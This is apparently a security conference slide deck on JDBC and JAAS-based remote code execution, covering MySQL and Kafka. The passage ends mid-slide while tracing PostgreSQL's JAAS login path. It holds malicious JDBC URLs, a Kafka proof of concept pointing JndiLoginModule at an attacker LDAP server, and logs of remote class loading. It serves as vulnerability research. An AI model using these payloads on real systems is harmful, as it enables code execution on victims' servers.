



OFF-BY-ONE  
2025

2025

JAAS is All You Need:  
Reviving JDBC Again and Again



# About Me

Security Engineer from Alibaba Cloud

Bug Hunter Specializing in Cloud Security and Web Security

CTF Player from Azure Assassin Alliance (AAA) Team



Ji'an Zhou @azraelxuemo

# Agenda

01

- Introduction to JDBC

04

- A Novel JDBC Attack

02

- Past JDBC Vulnerabilities

05

- Impact

03

- A Chance Encounter with JAAS

06

- Defense & Summary




**OFF-BY-ONE  
2025**

# 01

## Introduction to JDBC




# Java Database Connectivity





# Support a Wide Range of Databases





# Demo

## Easy to use

```
1  String url = "jdbc:mysql://localhost:3306/mydatabase";
2  String user = "username";
3  String password = "password";
4  Connection connection = DriverManager.getConnection(url, user, password);
5
6  Statement statement = connection.createStatement();
7  String query = "SELECT * FROM employees";
8  ResultSet resultSet = statement.executeQuery(query);
9
10 while (resultSet.next()) {
11     int employeeId = resultSet.getInt("employee_id");
12     String employeeName = resultSet.getString("employee_name");
13     ...
14 }
```



# Benefit

## No need to know the underlying protocol

### Protocol::Packet

Data between client and server is exchanged in packets of max 16MByte size.

Type	Name	Payload	Description
int<3>	payload_length	Length of the payload. The number of bytes in the packet beyond the initial 4 bytes that make up the packet header.	
int<1>	sequence_id	Sequence ID	
string<var>	payload	payload of the packet	



## JDBC URL

```
1 jdbc:oracle:thin:<user>/<password>@/<host>[:<port>]/<service>
2 jdbc:mysql://myhost1:3306/db_name?prop1=value1&prop2=value2
3 jdbc:sqlserver://[serverName[\instanceName] [:portNumber]] [;property=value]
4 jdbc:postgresql://host:port/database?properties
```



**OFF-BY-ONE**  
**2025**

# 02

## Past JDBC Vulnerabilities



# Maybe the First Public Sharing of JDBC Attack



## New Exploit Technique In Java Deserialization Attack

- Yang Zhang
- Yongtao Wang
- Keyi Li
- Kunzhe Chai



# The Vulnerabilities They Shared

## Java DataBase Connectivity


### Vulnerable parameter

- queryInterceptors to invoke getObject
- autoDeserialize to allow deserialize data from server

### Steps to exploit JDBC

1. Attacker set up a database service.
2. Attacker poison the JDBC URI
3. Victim make a JDBC connection to attacker.
4. Return payload to Victim.

```
jdbc:mysql://attacker/db?  
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor  
&autoDeserialize=true
```





## Subsequent Research



# Make JDBC Attack Brilliant Again

**Chen Hongkun(@Litch1) | Xu Yuanzhen(@pyn3rd)**



# Subsequent Research

**black hat<sup>®</sup>**  
ASIA 2023

MAY 11-12  
BRIEFINGS

## A New Attack Interface In Java Applications

Xu Yuanzhen

Peter Mularien



# Subsequent Research



Medium · Shubham Tiwari  
2 likes · 8 months ago

⋮

Critical Vulnerability in **PostgreSQL** JDBC Driver



GitHub  
<https://github.com> > advisories

⋮

**Snowflake** JDBC vulnerable to command injection



UCSF IT  
<https://it.ucsf.edu> > vulnerability-amazon-aws-redshift-j...

⋮

Vulnerability in **Amazon AWS Redshift** JDBC Driver



Code Intelligence  
<https://www.code-intelligence.com> > blog > cve-jdbc-my...

⋮

New Vulnerability in **MySQL** JDBC Driver: RCE



IBM  
<https://www.ibm.com> > support > pages > security-bulle...

⋮

Security Bulletin: **IBM® Db2® JDBC driver**



Snryk  
<https://security.snyk.io> > ... > Maven

⋮

**com.oracle.database.jdbc:ojdbc8** vulnerabilities



# Why Are You Still Talking about JDBC?





Calm down



# Go Back to the First Vulnerability

## Java DataBase Connectivity


### Vulnerable parameter

- queryInterceptors to invoke getObject
- autoDeserialize to allow deserialize data from server

### Steps to exploit JDBC

1. Attacker set up a database service.
2. Attacker poison the JDBC URI
3. Victim make a JDBC connection to attacker.
4. Return payload to Victim.

```
jdbc:mysql://attacker/db?  
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor  
&autoDeserialize=true
```






```
1  public static void main(String[] args) throws Exception{
2      String driver = "com.mysql.cj.jdbc.Driver";
3      String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&useSSL=false&"+
4          "queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
5      Class.forName(driver);
6      Connection conn = DriverManager.getConnection(DB_URL);
```



# Exploit Flow





# Analyze

## com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

```
1 public class ServerStatusDiffInterceptor implements QueryInterceptor {  
2  
3     public <T extends Resultset> T preprocess(Supplier<String> sql, Query interceptedQuery) {  
4         this.populateMapWithSessionStatusValues(this.preExecuteValues);  
5         return null;  
6     }  
7  
8     public <T extends Resultset> T postProcess(Supplier<String> sql, Query interceptedQuery, T  
originalResultSet, ServerSession serverSession) {  
9         this.populateMapWithSessionStatusValues(this.postExecuteValues);  
10        ...  
11        return null;  
12    }  
13}
```



# Implementation

## com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

```
1  private void populateMapWithSessionStatusValues
2      (Map<String, String> toPopulate) {
3          Statement stmt = null;
4          ResultSet rs = null;
5          toPopulate.clear();
6          stmt = this.connection.createStatement();
7          rs = stmt.executeQuery("SHOW SESSION STATUS");
8          ResultSetUtil.resultSetToMap(toPopulate, rs);
```



# Implementation

## com.mysql.cj.jdbc.util.ResultSetUtil

```
1  public class ResultSetUtil {  
2  
3      public static void resultSetToMap(Map mappedValues, ResultSet rs) throws SQLException {  
4          while(rs.next()) {  
5              mappedValues.put(rs.getObject(1), rs.getObject(2));  
6          }  
7      }  
8  }
```



# Deserialization

## com.mysql.cj.jdbc.result.ResultSetImpl

```
1  public Object getObject(int columnIndex) throws SQLException {
2      ...
3      byte[] data = this.getBytes(columnIndex);
4      if (!(Boolean)this.connection.getPropertySet().\
5          getBooleanProperty("autoDeserialize").getValue())
6      { return data; }
7      else {
8          Object obj = data;
9          ...
10         ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
11         ObjectInputStream objIn = new ObjectInputStream(bytesIn);
12         obj = objIn.readObject();
13         objIn.close();
14         bytesIn.close();
15     }
```




🤩 A nice vulnerability,  
👀 but some limits




# What Are the Limits?

- 1 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
- 2 com.mysql.cj.jdbc.util.ResultSetUtil
- 3 com.mysql.cj.jdbc.result.ResultSetImpl





## What Does It Mean?





Is there a universal vulnerability?



**OFF-BY-ONE**  
**2025**

# 03

## A Chance Encounter with JAAS



# Story Begins with...

**Boss: I heard a 0-day about Kafka Client, try to find it out**





Fine...

It's Fine!

I'm Fine!



Everything is Fine !



So how to find a 0-day?

Since I am not familiar with Kafka, first learn from past CVEs





# The Most Famous Vulnerability in Kafka

CVE-ID	
<b>CVE-2023-25194</b>	<a href="#">Learn more at National Vulnerability Database (NVD)</a> • CVSS Severity Rating • Fix Information • Vulnerable Software Versions
Description	A possible security vulnerability has been identified in Apache Kafka Connect API. This requires access to an arbitrary Kafka client SASL JAAS config and a SASL-based security protocol, which has been possible on Kafka connector via the Kafka Connect REST API, an authenticated operator can set the `sasl.jaas.config` property "com.sun.security.auth.module.JndiLoginModule", which can be done via the `producer.override.sasl.jaas.config` properties. This will allow the server to connect to the attacker's LDAP server and deserialize the LDAP response from the Kafka connect server. Attacker can cause unrestricted deserialization of untrusted data (or) RCE vulnerability. These properties are allowed to specify these properties in connector configurations for Kafka Connect clusters running with the Kafka Connect REST API. These properties unless the Kafka Connect cluster has been reconfigured with a connector client override policy property ("org.apache.kafka.disallowed.login.modules") to disable the problematic login modules usage if "com.sun.security.auth.module.JndiLoginModule" is disabled in Apache Kafka Connect 3.4.0. We advise the JNDI configurations. Also examine connector dependencies for vulnerable versions and either upgrade their options for remediation. Finally, in addition to leveraging the "org.apache.kafka.disallowed.login.modules" setting, a client config override policy, which can be used to control which Kafka client properties can be overridden directly.

```
1  public static void main(String[] args) throws Exception {
2      Properties properties = new Properties();
3      properties.put("bootstrap.servers", "127.0.0.1:1234");
4      properties.put("key.deserializer", "org.apache.kafka.common.serialization.StringDeserializer");
5      properties.put("value.deserializer", "org.apache.kafka.common.serialization.StringDeserializer");
6      properties.put("sasl.mechanism", "PLAIN");
7      properties.put("security.protocol", "SASL_PLAINTEXT");
8      properties.put("sasl.jaas.config", "com.sun.security.auth.module.JndiLoginModule " +
9          "required " +
10         "user.provider.url=\"ldap://127.0.0.1:1389/Basic/Command/b3BlbiAtYSBDYWxjdWxhdG9y\" " +
11         "useFirstPass=\"true\" " +
12         "group.provider.url=\"xxx\";");
13     KafkaConsumer<String, String> kafkaConsumer = new KafkaConsumer<>(properties);
14     kafkaConsumer.close();
15 }
```



## Run an Evil JNDI Server

```
[xuemo@U-4H3DQ6JW-0044 tools % java -jar JNDIMap-0.0.1.jar
 [RMI] Listening on 127.0.0.1:1099
 [LDAP] jks file is not specified, skipping to start LDAP server
 [HTTP] Listening on 127.0.0.1:3456
 [LDAP] Listening on 127.0.0.1:1389
```



# Run the PoC



## An exception? Did we fail?


```
Caused by: javax.security.auth.login.FailedLoginException Create breakpoint : User not found
    at com.sun.security.auth.module.JndiLoginModule.attemptAuthentication(JndiLoginModule.java:653)
    at com.sun.security.auth.module.JndiLoginModule.login(JndiLoginModule.java:319) <4 internal lines>
    at javax.security.auth.login.LoginContext.invoke(LoginContext.java:755)
    at javax.security.auth.login.LoginContext.access$000(LoginContext.java:195)
    at javax.security.auth.login.LoginContext$4.run(LoginContext.java:682)
    at javax.security.auth.login.LoginContext$4.run(LoginContext.java:680) <1 internal line>
    at javax.security.auth.login.LoginContext.invokePriv(LoginContext.java:680)
    at javax.security.auth.login.LoginContext.login(LoginContext.java:587)
    at org.apache.kafka.common.security.authenticator.AbstractLogin.login(AbstractLogin.java:60)
    at org.apache.kafka.common.security.authenticator.LoginManager.<init>(LoginManager.java:62)
    at org.apache.kafka.common.security.authenticator.LoginManager.acquireLoginManager(LoginManager.java:105)
    at org.apache.kafka.common.network.SaslChannelBuilder.configure(SaslChannelBuilder.java:170)
... 8 more
```



# But RCE!

```
xuemo@U-4H3DQ6JW-0044 tools % java -jar JNDIMap-0.0.1.jar
[RMI] Listening on 127.0.0.1:1099
[LDAP] jks file is not specified, skipping to start LDAP server
[HTTP] Listening on 127.0.0.1:3456
[LDAP] Listening on 127.0.0.1:1389

[LDAP] Received query: /Basic/Command/b3B1biAtYSBDYWxjdWxhdG9y
[Command] Cmd: open -a Calculator
[Reference] Remote codebase: http://127.0.0.1:3456/
[LDAP] Sending Reference object (remote codebase)
[HTTP] Receive request: /Exploit_Xzzy0b3iZVPG.class
```






What happened?



# Exploit Flow





More in-depth analysis



# Analyze

## org.apache.kafka.common.security.JaasContext

```
1  public static JaasContext loadClientContext(Map<String, ?> configs) {
2      Password dynamicJaasConfig = (Password)configs.get("sasl.jaas.config");
3      return load(JaasContext.Type.CLIENT, (String)null, "KafkaClient", dynamicJaasConfig);
4  }
5
6  static JaasContext load(Type contextType, String listenerContextName, String globalContextName, Password
7  dynamicJaasConfig) {
8      if (dynamicJaasConfig != null) {
9          JaasConfig jaasConfig = new JaasConfig(globalContextName, dynamicJaasConfig.value());
10         AppConfigurationEntry[] contextModules = jaasConfig.getAppConfigurationEntry(globalContextName);
11         if (contextModules != null && contextModules.length != 0) {
12             if (contextModules.length != 1) {
13                 throw new IllegalArgumentException("JAAS config property contains " + contextModules.length +
14                     " login modules, should be 1 module");
15             } else {
16                 return new JaasContext(globalContextName, contextType, jaasConfig, dynamicJaasConfig);
17             }
18         }
19     }
20 }
```



# Analyze

## org.apache.kafka.common.security.authenticator.AbstractLogin

```
1  public LoginContext login() throws LoginException {
2      this.loginContext = new LoginContext(this.contextName, (Subject)null, this.loginCallbackHandler,
3          this.configuration);
4      this.loginContext.login();
5      log.info("Successfully logged in.");
6      return this.loginContext;
7  }
```

```
✓ ⚡ this.configuration = {JaasConfig@1612}
  > ⓘ loginContextName = "KafkaClient"
  ✓ ⓘ configEntries = {ArrayList@1615} size = 1
    ✓ ⌂ 0 = {AppConfigurationEntry@1618}
      > ⓘ loginModuleName = "com.sun.security.auth.module.JndiLoginModule"
      > ⓘ controlFlag = {AppConfigurationEntry$LoginModuleControlFlag@1620} "LoginModuleControlFlag: required"
      > ⓘ options = {Collections$UnmodifiableMap@1621} size = 3
    > ⓘ acc = {AccessControlContext@1616}
  > ⚡ this.contextName = "KafkaClient"
```



# Analyze

## com.sun.security.auth.module.JndiLoginModule

```
1  public boolean login() throws LoginException {  
2      ...  
3      // attempt the authentication  
4      if (tryFirstPass) {  
5          ...  
6      } else if (useFirstPass) {  
7          attemptAuthentication(true);  
8          ...  
9      }  
10  
11     private void attemptAuthentication(boolean getPasswdFromSharedState)  
12         throws LoginException {  
13         ...  
14         // get the user's passwd entry from the user provider URL  
15         InitialContext iCtx = new InitialContext();  
16         ctx = (DirContext)iCtx.lookup(userProvider);
```


this.userProvider

> result = "ldap://127.0.0.1:1389/Basic/Command/b3BlbiAtYSBDYWxjdWxhdG9y"



# InitialContext.lookup

- A common sink, like `Runtime.exec`,  
`ObjectInputStream.readObject`
- **Lookup with an untrusted address  
will lead to RCE**





**A JOURNEY FROM JNDI/LDAP  
MANIPULATION TO REMOTE CODE  
EXECUTION DREAM LAND**

Alvaro Muñoz (@pwntester)  
Oleksandr Mirosh



Where is the sink?



## In the JDK?

jdk1.8.0\_172.jdk/.../JndiLoginModule.java

Preview Tab /Library/Java/JavaVirtualMachines/jdk1.8.0\_172.jdk/Conte

```
520
521
522     try {
523
524         // get the user's passwd entry from the user
525         InitialContext iCtx = new InitialContext();
526
527         ctx = (DirContext)iCtx.lookup(userProvider);
```



# Thinking...

- **Why in the JDK?**

If it lies in the JDK, maybe other components will face the same risks.



- **What behind the sasl.jaas.config**

We need a better understanding of it.



😎 The magic behind this is JAAS  
Java Authentication and Authorization Service

**Yuki's SSPI**



**My JAAS**





# What Is JAAS?


- A popular authentication & authorization framework
- Authentication via username/password, LDAP & Kerberos

## Authentication



Confirms users  
are who they say they are.

## Authorization



Gives users permission  
to access a resource.



# How to Use JAAS?

## SampleAcn

```
1 public static void main(String[] args) throws Exception{
2     String propertyName = "java.security.auth.login.config";
3     System.setProperty(propertyName, "sample_jaas.config");
4     LoginContext lc = new LoginContext("Sample", new MyCallbackHandler());
5     lc.login();
6     System.out.println("Authentication succeeded!");
7     Subject subject = lc.getSubject();
8     System.out.println(subject);
9 }
```



# How to Use JAAS?

## sample\_jaas.config

```
1 Sample {  
2     sample.module.SampleLoginModule required  
3     username = "admin"  
4     password = "admin123";  
5 };
```



# Run the Demo

```
jh jaas-helloworld Version control SampleAcn ... SampleAcn.java 39 package sample; 40 41 ... 42 > import ...; 43 44 /** 45 * <p> This Sample application attempts to authenticate a user 46 * and reports whether or not the authentication was successful. 47 */ 48 public class SampleAcn { 49 50     /** 51      * Attempt to authenticate the user. 52      * 53      * <p> 54      * @param args input arguments for this application. These are ignored. 55      */ 56     public static void main(String[] args) throws Exception{ 57         String propertyName = "java.security.auth.login.config"; 58         System.setProperty(propertyName, "sample_jaas.config"); 59         LoginContext lc = new LoginContext("Sample", new MyCallbackHandler()); 60         lc.login(); 61         System.out.println("Authentication succeeded!"); 62         Subject subject = lc.getSubject(); 63         System.out.println(subject); 64     } 65 } 66 67 68 69 70 71 72 73 74 75 76 }
```

SampleAcn > main()


jaas-helloworld > src > main > java > sample > SampleAcn

69:10 LF UTF-8 4 spaces

55



# Magic





# Analyze

## SampleAcn

```
1 public static void main(String[] args) throws Exception{  
2     String propertyName = "java.security.auth.login.config";  
3     System.setProperty(propertyName, "sample_jaas.config");  
4     LoginContext lc = new LoginContext("Sample", new MyCallbackHandler());  
5     lc.login();  
6     System.out.println("Authentication succeeded!");  
7     Subject subject = lc.getSubject();  
8     System.out.println(subject);  
9 }
```

Set login config



# JAAS Config

## Structure

```
1 <name used by application to refer to this entry {  
2   <LoginModule> <flag> <LoginModule options>;  
3   <optional additional LoginModules, flags and options>;  
4 };
```

## sample\_jaas.conf

```
1 Sample {  
2   sample.module.SampleLoginModule required  
3   username = "admin"  
4   password = "admin123";  
5 };
```



## Instantiate the LoginContext

```
1 public static void main(String[] args) throws Exception{  
2     String propertyName = "java.security.auth.login.config";  
3     System.setProperty(propertyName, "sample_jaas.config");  
4     LoginContext lc = new LoginContext("Sample", new MyCallbackHandler());  
5     lc.login();  
6     System.out.println("Authentication succeeded!");  
7     Subject subject = lc.getSubject();  
8     System.out.println(subject);  
9 }
```

```
1 Sample {  
2     sample.module.SampleLoginModule required  
3     username = "admin"  
4     password = "admin123";  
5 };
```






# MyCallbackHandler

```
1 public class MyCallbackHandler implements CallbackHandler {  
2     public void handle(Callback[] callbacks) throws UnsupportedCallbackException {  
3         for (int i = 0; i < callbacks.length; i++) {  
4             if (callbacks[i] instanceof NameCallback) {  
5                 NameCallback nc = (NameCallback)callbacks[i];  
6                 System.err.print(nc.getPrompt());  
7                 Scanner scanner = new Scanner(System.in);  
8                 String line = scanner.nextLine();  
9                 nc.setName(line);  
10            } else if (callbacks[i] instanceof PasswordCallback) {  
11                PasswordCallback pc = (PasswordCallback)callbacks[i];  
12                System.err.print(pc.getPrompt());  
13                Scanner scanner = new Scanner(System.in);  
14                String line = scanner.nextLine();  
15                pc.setPassword(line.toCharArray());  
16            } else {  
17                throw new UnsupportedCallbackException(callbacks[i]);  
18            }  
19        }  
20    }  
21 }
```



# Make a Quick Summary





## Call the login() Method

```
1 public static void main(String[] args) throws Exception{
2     String propertyName = "java.security.auth.login.config";
3     System.setProperty(propertyName, "sample_jaas.config");
4     LoginContext lc = new LoginContext("Sample", new MyCallbackHandler());
5     lc.login();
6     System.out.println("Authentication succeeded!");
7     Subject subject = lc.getSubject();
8     System.out.println(subject);
9 }
```



# Analyze the login() Method

## javax.security.auth.login.LoginContext

```
1  public void login() throws LoginException {  
2  
3      loginSucceeded = false;  
4  
5      if (subject == null) {  
6          subject = new Subject();  
7      }  
8      // module invoked in doPrivileged  
9      invokePriv(LOGIN_METHOD);  
10     invokePriv(COMMIT_METHOD);
```

```
private static final String LOGIN_METHOD = "login";  
private static final String COMMIT_METHOD = "commit";
```



# Instantiate and Initialize the LoginModule

1. When we first call it, it is null

```
invokePriv(LOGIN_METHOD);
invokePriv(COMMIT_METHOD);
```

```
1  private void invoke(String methodName) throws LoginException {
2
3      ...
4
5      if (moduleStack[i].module != null) {
6          methods = moduleStack[i].module.getClass().getMethods();
7      } else {
8          // instantiate the LoginModule
9          Class<?> c = Class.forName(
10             moduleStack[i].entry.getLoginModuleName(), true,
11             contextClassLoader);
12          Constructor<?> constructor = c.getConstructor(PARAMS);
13          Object[] args = { };
14          moduleStack[i].module = constructor.newInstance(args);
15
16          // call the LoginModule's initialize method
17          methods = moduleStack[i].module.getClass().getMethods();
18          for (mIndex = 0; mIndex < methods.length; mIndex++) {
19              if (methods[mIndex].getName().equals(INIT_METHOD)) {
20                  break;
21              }
22          }
23          private static final String INIT_METHOD = "initialize";
24          Object[] initArgs = {subject, callbackHandler,
25                               state, moduleStack[i].entry.getOptions() };
26          methods[mIndex].invoke(moduleStack[i].module, initArgs);
27      }
28  }
```

2.

3. Put the instance in moduleStack, next time will not enter this branch

4.




# INIT\_METHOD of SampleLoginModule

```
1  public void initialize(Subject subject,
2                      CallbackHandler callbackHandler,
3                      Map<java.lang.String, ?> sharedState,
4                      Map<java.lang.String, ?> options) {
5      this.subject = subject;
6      this.callbackHandler = callbackHandler;
7      this.sharedState = sharedState;
8      this.options = options;
9      this.expectedUsername = (String) options.get("username");
10     this.expectedPassword = (String) options.get("password");
11 }
```



# Abstract Flow






# Invoke the LOGIN\_METHOD

```
1  private void invoke(String methodName) throws LoginException {  
2      ...  
3      if (moduleStack[i].module != null) {  
4          methods = moduleStack[i].module.getClass().getMethods();  
5      } else {  
6          ...  
7      }  
8      // When the LoginModule is ready  
9      // find the requested method in the LoginModule  
10     for (mIndex = 0; mIndex < methods.length; mIndex++) {  
11         if (methods[mIndex].getName().equals(methodName)) {  
12             break;  
13         }  
14     }  
15     // set up the arguments to be passed to the LoginModule method  
16     Object[] args = { };  
17  
18     // invoke the LoginModule method  
19     boolean status = ((Boolean)methods[mIndex].invoke  
20                     (moduleStack[i].module, args)).booleanValue();  
  
                           invokePriv(LOGIN_METHOD);  
                           invokePriv(COMMIT_METHOD);
```



# LOGIN\_METHOD of SampleLoginModule





# Implementation of MyCallbackHandler

```
1  public void handle(Callback[] callbacks) throws UnsupportedCallbackException {  
2      for (int i = 0; i < callbacks.length; i++) {  
3          if (callbacks[i] instanceof NameCallback) {  
4              NameCallback nc = (NameCallback)callbacks[i];  
5              System.err.print(nc.getPrompt());  
6              Scanner scanner = new Scanner(System.in);  
7              String line = scanner.nextLine();  
8              nc.setName(line);  
9          } else if (callbacks[i] instanceof PasswordCallback) {  
10              PasswordCallback pc = (PasswordCallback)callbacks[i];  
11              System.err.print(pc.getPrompt());  
12              Scanner scanner = new Scanner(System.in);  
13              String line = scanner.nextLine();  
14              pc.setPassword(line.toCharArray());  
15          } else {  
16              throw new UnsupportedCallbackException(callbacks[i]);  
17          }  
18      }  
19  }
```




```
Frames    Console
↑           /Library/Java/JavaVirtualMachines/jdk1.
↓           Connected to the target VM, address: '1
≡           user name:
```

```
Frames    Console
↑           /Library/Java/JavaVirtualMachines/jdk1.
↓           Connected to the target VM, address: '1
≡           user name: test
           password: |
```



# Abstract Flow






# Perform Authentication

```
1  public boolean login() throws LoginException {  
2      ...  
3      this.callbackHandler.handle(new Callback[] {nameCb, pwdCb});  
4      // When finish the handle function, we can get username&password  
5      this.username = nameCb.getName();  
6      char[] tmpPassword = pwdCb.getPassword();  
7      this.password = new char[tmpPassword.length];  
8      System.arraycopy(tmpPassword, 0, this.password, 0, tmpPassword.length);  
9      if (this.expectedUsername.equals(this.username) &&  
10          this.expectedPassword.equals(new String(this.password))) {  
11          this.succeeded = true;  
12          return true;  
13      } else {  
14          this.succeeded = false;  
15          throw new FailedLoginException("Username/Password Incorrect");  
16      }  
17  }
```




# Abstract Flow





# COMMIT\_METHOD of SampleLoginModule

```
1  public boolean commit() {  
2      if (this.succeeded) {  
3          this.userPrincipal = new SamplePrincipal(username);  
4          if (!this.subject.getPrincipals().contains(this.userPrincipal))  
5              this.subject.getPrincipals().add(this.userPrincipal);  
6          ....  
7      }  
8      return this.succeeded;  
9  }
```



```
1  invokePriv(LOGIN_METHOD);  
2  // After invoking the LOGIN_METHOD  
3  // Time to invoke the COMMIT_METHOD  
4  invokePriv(COMMIT_METHOD);
```



## After We Login

```
1  public static void main(String[] args) throws Exception{  
2      ...  
3      lc.login();  
4      // After we login  
5      System.out.println("Authentication succeeded!");  
6      Subject subject = lc.getSubject();  
7      System.out.println(subject);
```

```
/Library/Java/JavaVirtualMachines/jdk1.8.0_172.jdk/Contents/Home/bin/java ...  
user name: admin  
password: admin123  
Authentication succeeded!  
主体:  
    主用户: SamplePrincipal: admin
```



Now you have understood how to use  
JAAS and how it works



## Core Classes and Interfaces

### **javax.security.auth.Subject**

- Represents a grouping of related information for a single entity such as a person

### **javax.security.auth.login.LoginContext**

- Provides the basic methods used to authenticate Subjects
- Provides a way to develop an application independent of the underlying authentication technology



## Core Classes and Interfaces

### **javax.security.auth.spi.LoginModule**

- Implements different authentication technologies e.g. LDAP, Kerberos

### **javax.security.auth.callback.CallbackHandler**

- A LoginModule uses the CallbackHandler both to gather input from users or to supply information to users

### **javax.security.auth.callback.Callback**

- The LoginModule passes an array of Callbacks to the handle method of a CallbackHandler



# Core Classes and Interfaces



Sounds familiar?

## **javax.security.auth.spi.LoginModule**

- Implements different authentication technologies e.g. LDAP, Kerberos

## **javax.security.auth.callback.CallbackHandler**


- A LoginModule uses the CallbackHandler both to gather input from users or to supply information to users

## **javax.security.auth.callback.Callback**

- The LoginModule passes an array of Callbacks to the handle method of a CallbackHandler



# By Default JDK Provides JndiLoginModule



```
8 properties.put("sasl.jaas.config", "com.sun.security.auth.module.JndiLoginModule " +
9     "required " +
10    "user.provider.url=\"ldap://127.0.0.1:1389/Basic/Command/b3BlbiAtYSBDYWxjdWxhdG9y\" " +
11    "useFirstPass=\"true\" " +
12    "group.provider.url=\"xxx\\\"\"") .
```




## Modify the sample\_jaas.config

```
≡ sample_jaas.config ×  
1 Sample {  
2     com.sun.security.auth.module.JndiLoginModule required  
3     user.provider.url="ldap://127.0.0.1:1389/Basic/Command/b3BlbiAtYSBDYWxjdWxhdG9y"  
4     useFirstPass="true"  
5     group.provider.url="xxx";  
6 };
```




# We Can Also RCE!

```
[LDAP] Received query: /Basic/Command/b3B1biAtYSBDYWxjdWxhdG9y
[Command] Cmd: open -a Calculator
[Reference] Remote codebase: http://127.0.0.1:3456/
[LDAP] Sending Reference object (remote codebase)
[HTTP] Receive request: /Exploit_3HbKucaCPDV6.class
```





# Controllable JAAS Config Can Lead to RCE





# Summary

## Root Cause

The core issue stems from improper integration of JAAS.

When an attacker can control the JAAS config, it will lead to RCE vulnerabilities.





# JAAS Is Widely Used



"jaas" "authentication"



IBM

<https://www.ibm.com/rzaha/rzahajaas10> · 翻译此页



## Java Authentication and Authorization Service (JAAS) 1.0

The Java **Authentication** and Authorization Service (**JAAS**) is a standard extension to the Java 2 Software Development Kit, version 1.3.



TheServerSide

<https://www.theserverside.com/definition> · 翻译此页



## What is Java Authentication and Authorization Service ...

The Java **Authentication** and Authorization Service (**JAAS**) is a set of application program interfaces (APIs) that can determine the identity of a user or ...



Hazelcast Documentation

<https://docs.hazelcast.com/security/jaas-a...> · 翻译此页



## JAAS Authentication

The **jaas authentication** setting is the most flexible form of authentication, but requires knowledge of JAAS login modules and related concepts. You can use ...



Does JDBC supports JAAS?



Yes, it indeed supports!!



**OFF-BY-ONE**  
**2025**

# 04

## A Novel JDBC Attack



🤠 How do I know JDBC supports JAAS?




Yes, **PostgreSQL JDBC** (the official `pgjdbc` driver) does support **JAAS (Java Authentication and Authorization Service)** for authentication, particularly when using **Kerberos** authentication. The JDBC driver can leverage JAAS to handle authentication for users connecting to a PostgreSQL database, which is especially useful in environments where **Kerberos** authentication is employed.

## How PostgreSQL JDBC Supports JAAS:

1. **Kerberos Authentication:** PostgreSQL can be configured to use **Kerberos** for authentication, and the JDBC driver can integrate with **JAAS** to authenticate users using Kerberos credentials. This is commonly used in enterprise environments where centralized authentication is needed.
2. **JAAS Configuration:** You would typically configure **JAAS** in the `jaas.conf` file, which tells the Java application how to authenticate users using Kerberos. The PostgreSQL JDBC driver can then use this configuration to authenticate the user.
3. **JDBC Configuration:** The PostgreSQL JDBC driver can be configured to use **GSSAPI** (Generic Security Services Application Program Interface), which relies on Kerberos and JAAS for authentication. By specifying the `gssapi` mechanism in your connection properties, the driver can delegate the authentication process to Kerberos and JAAS.

# • And Google



A screenshot of a Google search results page. The search bar contains the query "postgresql jaas". Below the search bar, a navigation bar includes links for All, Images, Videos, Short videos, Shopping, Forums, Web, and More. The first search result is for the PostgreSQL JDBC Driver, showing a snippet of documentation about the "Initializing the Driver | pgJDBC" section, which discusses JAAS login.

Google

postgresql jaas

All Images Videos Short videos Shopping Forums Web More

PostgreSQL JDBC Driver  
<https://jdbc.postgresql.org> › documentation › use

Initializing the Driver | pgJDBC

Specifies whether to perform a JAAS login before authenticating with GSSAPI. If set to true (the default), the driver will attempt to obtain GSS credentials ...

 And Google

- `jaasApplicationName` (*String*) Default `pgjdbc`

Specifies the name of the JAAS system or application login configuration.

- `jaasLogin` (*boolean*) Default `true`

Specifies whether to perform a JAAS login before authenticating with GSSAPI. If set to `true` (the default), the driver will attempt to obtain GSS credentials using the configured JAAS login module(s)(e.g. `Krb5LoginModule` )before authenticating. To skip the JAAS login, for example if the native GSS implementation is being used to obtain credentials, set this to `false` .

## org.postgresql.gss.MakeGSS

```
1  public static void authenticate(boolean encrypted, PGStream pgStream, String host, String user, char[]
2      password, String jaasApplicationName, String kerberosServerName, boolean useSpnego, boolean jaasLogin, boolean
3      gssUseDefaultCreds, boolean logServerErrorDetail) throws IOException, PSQLEException {
4
5      if (jaasApplicationName == null) {
6          jaasApplicationName = PGProperty.JAAS_APPLICATION_NAME.getDefaultValue();
7      }
8
9      if (kerberosServerName == null) {
10         kerberosServerName = "postgres";
11     }
12     boolean performAuthentication = jaasLogin;
13
14     if (performAuthentication) {
15         LoginContext lc = new LoginContext((String)Nullness.castNonNull(jaasApplicationName), new
16         GSSCallbackHandler(user, password));
17         lc.login();
18     }
19 }
```

1 **JAAS\_APPLICATION\_NAME**("jaasApplicationName", "pgjdbc", "Specifies the name  
of the JAAS system or application login configuration."),



# Who Call It?

## org.postgresql.core.v3.ConnectionFactoryImpl

```
1  private void doAuthentication(PGStream pgStream, String host, String user, Properties info) throws
2      IOException, SQLException {
3          int areq = pgStream.receiveInteger4();
4          switch (areq) {
5              case 0:
6                  LOGGER.log(Level.FINEST, " <=BE AuthenticationOk");
7                  return;
8              case 3:
9                  LOGGER.log(Level.FINEST, "<=BE AuthenticationReqPassword");
10             ...
11             case 5:
12                 LOGGER.log(Level.FINEST, " <=BE AuthenticationReqMD5(salt={0})",
13                 Utils.toHexString(md5Salt));
14             ...
15             case 9:
16                 ...
17                 MakeGSS.authenticate(false, pgStream, host, user, password,
18                     PGProperty.JAAS_APPLICATION_NAME.getOrDefault(info), PGProperty.KERBEROS_SERVER_NAME.getOrDefault(info),
19                     usesnego, PGProperty.JAAS_LOGIN.getBoolean(info), PGProperty.GSS_USE_DEFAULT_CREDS.getBoolean(info),
20                     PGProperty.LOG_SERVER_ERROR_DETAIL.getBoolean(info));
21             ...
22         }
23     }
```



# Why Implement?

## 20.3. Authentication Methods

PostgreSQL provides various methods for authenticating users:

- **Trust authentication**, which simply trusts that users are who they say they are.
- **Password authentication**, which requires that users send a password.
